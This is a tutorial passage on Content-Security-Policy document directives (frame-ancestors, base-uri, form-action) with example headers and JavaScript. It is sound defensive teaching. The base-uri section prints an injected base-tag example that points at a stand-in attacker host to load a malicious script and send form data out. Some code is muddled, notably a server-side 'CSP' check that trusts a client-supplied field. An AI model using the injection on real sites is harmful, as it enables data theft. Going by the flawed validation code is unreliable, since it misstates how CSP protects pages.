Document Directives - Controlling Page Behavior

Document Directives - Controlling Page Behavior

Document directives govern how the browser should handle the document itself, including framing, base URLs, and form submissions.

frame-ancestors: Clickjacking Protection

The frame-ancestors directive controls which sources can embed your page in frames, iframes, or other embedding contexts. It's more powerful than the X-Frame-Options header.

Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com;

Advanced frame-ancestors configurations:

// Dynamic frame-ancestors based on partner relationships
function generateFrameAncestors(req) {
    const partners = getAuthorizedPartners(req.hostname);
    
    if (partners.length === 0) {
        // No framing allowed
        return "frame-ancestors 'none'";
    } else if (partners.includes('*')) {
        // Allow specific partners only
        return `frame-ancestors 'self' ${partners.filter(p => p !== '*').join(' ')}`;
    } else {
        // Restrict to self and specific partners
        return `frame-ancestors 'self' ${partners.join(' ')}`;
    }
}

base-uri: Protecting Against Base Tag Injection

The base-uri directive restricts which URLs can be used in a document's <base> element, preventing attackers from changing the base URL for all relative URLs.

Content-Security-Policy: base-uri 'self';

Example of base-uri protection:

<!-- With base-uri 'self', this would be blocked if injected by an attacker -->
<base href="https://attacker.com/">

<!-- All relative URLs would be resolved against the attacker's domain -->
<script src="/malicious.js"></script> <!-- Would load from attacker.com -->
<form action="/steal-data"></form> <!-- Would submit to attacker.com -->

form-action: Form Submission Control

The form-action directive restricts where forms can be submitted, providing protection against form hijacking.

Content-Security-Policy: form-action 'self' https://payment.processor.com;

Implementing secure form handling:

// Server-side form action validation
app.post('/submit-form', (req, res) => {
    const allowedActions = ['self', 'https://payment.processor.com'];
    const formAction = req.body._formAction;
    
    if (!isAllowedAction(formAction, allowedActions)) {
        res.status(403).send('Form submission blocked by CSP');
        return;
    }
    
    // Process form...
});

// Client-side form validation
document.querySelectorAll('form').forEach(form => {
    form.addEventListener('submit', (e) => {
        const action = form.action;
        if (!isCSPCompliant(action)) {
            e.preventDefault();
            console.error('Form action violates CSP');
        }
    });
});